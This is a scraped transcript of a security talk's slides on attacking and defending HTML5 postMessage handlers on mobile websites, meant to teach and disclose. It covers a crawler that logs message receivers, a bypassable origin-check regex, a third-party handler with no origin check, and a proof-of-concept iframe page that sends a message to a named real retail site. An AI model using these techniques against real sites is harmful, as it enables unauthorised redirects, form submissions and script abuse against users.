attacking and defending html5 postmessage in mobile websites

Post on 17-Jul-2015

105 Views

Category:

Internet

1 Downloads

Preview:

Click to see full reader

TRANSCRIPT

THE POSTMAN ALWAYS RINGS TWICE ATTACKING AND DEFENDING postMessage LUKAS KLEIN

1

postMessage?

2

postMessage?

3

postMessage?

•controlled mechanism to circumvent SOP

3

postMessage?

•controlled mechanism to circumvent SOP

•dispatches MessageEvent

3

postMessage?

•controlled mechanism to circumvent SOP

•dispatches MessageEvent

•type (always “message”)

3

postMessage?

•controlled mechanism to circumvent SOP

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

3

postMessage?

•controlled mechanism to circumvent SOP

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

3

postMessage?

•controlled mechanism to circumvent SOP

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

3

postMessage?

•controlled mechanism to circumvent SOP

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

4

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

postMessage?

5

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

postMessage?

http://hostname:port

6

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

postMessage?

http://hostname:port

7

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

postMessage?

http://hostname:port

8

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

postMessage?

http://hostname:port

9

Potential Problems

10

Potential Problems

•You HAVE to check the origin

10

Potential Problems

•You HAVE to check the origin

11

Potential Problems

•You HAVE to check the origin

•CORRECTLY!

12

Mobile Detector

13

Mobile Detector

14

Mobile Detector

• for site in alexa_top_10000:

14

Mobile Detector

• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)

14

Mobile Detector

• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)

14

Mobile Detector

• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)

14

Mobile Detector

• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)

• if desktop_url != mobile_url:

14

Mobile Detector

• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)

• if desktop_url != mobile_url:• has_mobile_version = True

14

Mobile Detector

15

Mobile Detector

• ~ 2500 dedicated mobile sites

15

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

15

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

• http://site.tld/?session=123 vs. http://site.tld/?session=456

15

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

• http://site.tld/?session=123 vs. http://site.tld/?session=456

• After manual cleanup: ~2170 mobile sites remaining

15

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

• http://site.tld/?session=123 vs. http://site.tld/?session=456

• After manual cleanup: ~2170 mobile sites remaining

• Most common:

15

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

• http://site.tld/?session=123 vs. http://site.tld/?session=456

• After manual cleanup: ~2170 mobile sites remaining

• Most common:

• m.domain

15

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

• http://site.tld/?session=123 vs. http://site.tld/?session=456

• After manual cleanup: ~2170 mobile sites remaining

• Most common:

• m.domain

• domain/m

15

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

• http://site.tld/?session=123 vs. http://site.tld/?session=456

• After manual cleanup: ~2170 mobile sites remaining

• Most common:

• m.domain

• domain/m

• domain/mobile

15

Data Collector

16

Data Collector

17

Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …

17

Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …

page.onInitialized = function() { page.evaluate(function() {

}); };

17

Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …

page.onInitialized = function() { page.evaluate(function() {

}); };

page.open(args[1], function(status) { phantom.exit(); });

17

Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …

page.onInitialized = function() { page.evaluate(function() {

}); };

(function(oldEventListener) { var logReceiver = function(location, name, code) { /* Logs the location, receiver name and receiver code to our web api */ xmlhttp = new XMLHttpRequest(); xmlhttp.open('POST', 'https://collector.herokuapp.com/receivers/', true); var params = 'url=' + encodeURIComponent(location) + \

'&receiver_name=' + encodeURIComponent(name) + \ ’&receiver_code=' + encodeURIComponent(code);

xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xmlhttp.setRequestHeader('Content-Length', params.length); xmlhttp.setRequestHeader('Connection', 'close'); xmlhttp.send(params); };

// Overwrite the window.addEventListener function window.addEventListener = function(type, listener, useCapture) { if(/message/i.test(type)) { // If event is of type message logReceiver(document.location, listener.name || '-', listener.toString()); } } })(window.addEventListener);

page.open(args[1], function(status) { phantom.exit(); });

17

Data Collector

18

Data Collector

18

Data Collector

18

Data Collector

18

Data Collector

18

Data Collector

18

19

20

21

22

Data Collector

23

Data Collector

• ~2800 Receivers

23

Data Collector

• ~2800 Receivers

• ~800 Uniques

23

24

function ka(a) { if (/[\/|\.]chartbeat\.com$/.test(a.origin)) { ... } }

25

[\/|\.]chartbeat\.com$

26

[\/|\.]chartbeat\.com$

27

[\/|\.]chartbeat\.com$

/ or | or .

28

lukasklein.com/chartbeat.com

is valid!

29

30

31

32

32

32

32

32

32

33

function (e) { /* Our messages are always exchanged using a string protocol, If the data is not a string, we should skip the parsing */ if (typeof e.data !== 'string') return;

var message = e.data.split(',')[0] var value = e.data.split(',')[1] if ( message === "close" ) { esc(value, true) } if ( message === "redirect" ) { yiel.yieldify_will_redirect = true form_refill_capture(); value = e.data.substring(e.data.indexOf(",")+1) window.location.href = value } if ( message === "direct_show" ) { yiel.fn.deleteYieldifyCookie("after_submit") yiel_visible("campaign",value, true); } if ( message === "form" ) { var s = value.split(';')[1] s = decodeURIComponent(s) var data = {} var sp= s.split('&') var key,aa; var i; for(i=0;i<sp.length;i++){ key = sp[i] aa=key.split('=') data[aa[0]] = aa[1] } if(value.split(';').length == 2){ yiel_post_to_url(value.split(';')[0], data, "") }else{ yiel_post_to_url(value.split(';')[0], data, value.split(';')[2]) } esc(value) } if ( message === "sales" ) { //If click a link and the id for this campaign was asked to track sales then add //a cookie by id for this campaign //The value is the id var track_sales = yiel.overlays_y[value].track_sales if(yiel.website.track_sale!=null && yiel.website.track_sale!="" && track_sales!=null var saleCookie = yiel.fn.getYieldifyCookie("sale") /*if (saleCookie!=null && saleCookie!=""){ value = saleCookie + "," + value }*/

…34

No origin check

at all 35

But wait, there is security!

36

/* Our messages are always exchanged using a string protocol, If the data is not a string, we should skip the parsing */ if (typeof e.data !== 'string') return;

37

38

String protocol

39

message,value

40

message,value

41

message,value

•redirect

41

message,value

•redirect

•form

41

message,value

•redirect

•form

•showalert

41

showalert

if ( message === "showalert" ) { alert(value) }

42

POC

43

<iframe id="victim" src=“\ http://www.anthropologie.eu/mobile/index.jsp?currency=200004"></iframe>

<script> var attack = function() { var victim = document.getElementById('victim').contentWindow; victim.postMessage('showalert,haha', 'http://www.anthropologie.eu'); }; </script> <button onclick="attack()">Attack</button>

44

<iframe id="victim" src=“\ http://www.anthropologie.eu/mobile/index.jsp?currency=200004"></iframe>

<script> var attack = function() { var victim = document.getElementById('victim').contentWindow; victim.postMessage('showalert,haha', 'http://www.anthropologie.eu'); }; </script> <button onclick="attack()">Attack</button>

45

46

47

Q&A

48

top related